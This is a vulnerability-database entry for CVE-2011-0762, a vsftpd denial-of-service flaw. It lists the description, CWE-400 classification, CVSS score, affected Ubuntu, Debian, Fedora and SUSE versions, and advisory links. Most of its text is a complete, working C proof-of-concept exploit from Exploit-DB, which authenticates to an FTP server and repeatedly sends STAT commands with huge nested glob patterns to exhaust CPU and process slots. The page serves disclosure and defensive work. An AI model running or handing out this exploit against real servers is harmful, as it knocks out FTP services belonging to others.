CVE-2011-0762 : Detail

CVE-2011-0762

26.86%V4
Network
2011-03-02
18h00 +00:00
2021-02-19
03h06 +00:00
CVE.org
NVD
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CVE Descriptions

The vsf_filename_passes_filter function in ls.c in vsftpd before 2.3.3 allows remote authenticated users to cause a denial of service (CPU consumption and process slot exhaustion) via crafted glob expressions in STAT commands in multiple FTP sessions, a different vulnerability than CVE-2010-2632.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-400 Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4 AV:N/AC:L/Au:S/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 16270

Publication date : 2011-03-01 23h00 +00:00
Author : Maksymilian Arciemowicz
EDB Verified : Yes

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> /* This is code of http://cxib.net/stuff/vspoc232.c PoC CVE-2011-0762 ( vsftpd ) Remote Denial of Service Affected: 2.3.2 Fix: 2.3.4 Author: Maksymilian Arciemowicz Use: ./vspoc232 127.0.0.1 21 user pass 1 or read http://securityreason.com/achievement_securityalert/95 for more information Example result: cx@cx64:~$ telnet 172.5.0.129 21 Trying 172.5.0.129... Connected to 172.5.0.129. Escape character is '^]'. 500 OOPS: fork Connection closed by foreign host. */ int skip=0; int sendftp(int stream,char *what){ if(-1==send(stream,what,strlen(what),0)) printf("Can't send %s\n",what); else printf("send: %s\n",what); bzero(what,sizeof(what)); } void readftp(int stream){ char readline[4096]; if(recv(stream,readline,4096,0)<1) if(!skip) exit(1); // end else printf("recv: %s\n",readline); } int sendstat(host,port,login,pass) char *host,*port,*login,*pass; { char buffer[4097]; // send ftp command buffor int sockfd,n,error; struct addrinfo hints; struct addrinfo *res, *res0; memset(&hints, 0, sizeof(hints)); hints.ai_family = PF_UNSPEC; hints.ai_socktype = SOCK_STREAM; error = getaddrinfo(host,port,&hints,&res0); if (error){ errorcon: printf("Can`t connect\n.exit"); exit(1); } if((sockfd=socket(res0->ai_family,res0->ai_socktype, res0->ai_protocol))<0) goto errorcon; if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon; readftp(sockfd); snprintf(buffer,4096,"USER %s\nPASS %s\n\n",login,pass); sendftp(sockfd,buffer); readftp(sockfd); snprintf(buffer,4096,"STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}\n"); sendftp(sockfd,buffer); freeaddrinfo(res0); } int main(int argc,char *argv[]) { char *login,*pass,logindef[]="anonymous",passdef[]="cxib.net@127.0.0.1"; if(argc<3){ printf("\nUse: ./vspoc232 host port [username] [password] [option]\nhost and port are requied\nuse option = 1 to skip recv() fails\n\nexample:\n./vspoc232 127.0.0.1 21 user pass 1\n\n"); exit(1); } char *host=argv[1]; char *port=argv[2]; if(4<=argc) login=argv[3]; else login=logindef; if(5<=argc) pass=argv[4]; else pass=passdef; if(6<=argc) skip=1; while(1){ printf("----------------------------- next\n"); sendstat(host,port,login,pass); sleep(1); // some delay to be sure } return 0; // never happen }

Products Mentioned

Configuraton 0

Vsftpd_project>>Vsftpd >> Version To (excluding) 2.3.3

Configuraton 0

Canonical>>Ubuntu_linux >> Version 6.06

Canonical>>Ubuntu_linux >> Version 8.04

Canonical>>Ubuntu_linux >> Version 9.10

Canonical>>Ubuntu_linux >> Version 10.04

Canonical>>Ubuntu_linux >> Version 10.10

Configuraton 0

Fedoraproject>>Fedora >> Version 13

Fedoraproject>>Fedora >> Version 14

Fedoraproject>>Fedora >> Version 15

Configuraton 0

Debian>>Debian_linux >> Version 5.0

Debian>>Debian_linux >> Version 6.0

Debian>>Debian_linux >> Version 7.0

Configuraton 0

Opensuse>>Opensuse >> Version 11.2

Opensuse>>Opensuse >> Version 11.3

Opensuse>>Opensuse >> Version 11.4

Suse>>Linux_enterprise_server >> Version 9

Suse>>Linux_enterprise_server >> Version 10

Suse>>Linux_enterprise_server >> Version 10

Suse>>Linux_enterprise_server >> Version 11

References

http://marc.info/?l=bugtraq&m=133226187115472&w=2
Tags : vendor-advisory, x_refsource_HP
http://marc.info/?l=bugtraq&m=133226187115472&w=2
Tags : vendor-advisory, x_refsource_HP
http://www.vupen.com/english/advisories/2011/0639
Tags : vdb-entry, x_refsource_VUPEN
http://www.vupen.com/english/advisories/2011/0668
Tags : vdb-entry, x_refsource_VUPEN
http://www.debian.org/security/2011/dsa-2305
Tags : vendor-advisory, x_refsource_DEBIAN
http://securityreason.com/securityalert/8109
Tags : third-party-advisory, x_refsource_SREASON
http://www.vupen.com/english/advisories/2011/0547
Tags : vdb-entry, x_refsource_VUPEN
http://www.exploit-db.com/exploits/16270
Tags : exploit, x_refsource_EXPLOIT-DB
http://cxib.net/stuff/vspoc232.c
Tags : x_refsource_MISC
http://www.mandriva.com/security/advisories?name=MDVSA-2011:049
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.vupen.com/english/advisories/2011/0713
Tags : vdb-entry, x_refsource_VUPEN
http://www.ubuntu.com/usn/USN-1098-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.kb.cert.org/vuls/id/590604
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.securitytracker.com/id?1025186
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/46617
Tags : vdb-entry, x_refsource_BID
http://securityreason.com/achievement_securityalert/95
Tags : third-party-advisory, x_refsource_SREASONRES
http://www.redhat.com/support/errata/RHSA-2011-0337.html
Tags : vendor-advisory, x_refsource_REDHAT
http://jvn.jp/en/jp/JVN37417423/index.html
Tags : third-party-advisory, x_refsource_JVN
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.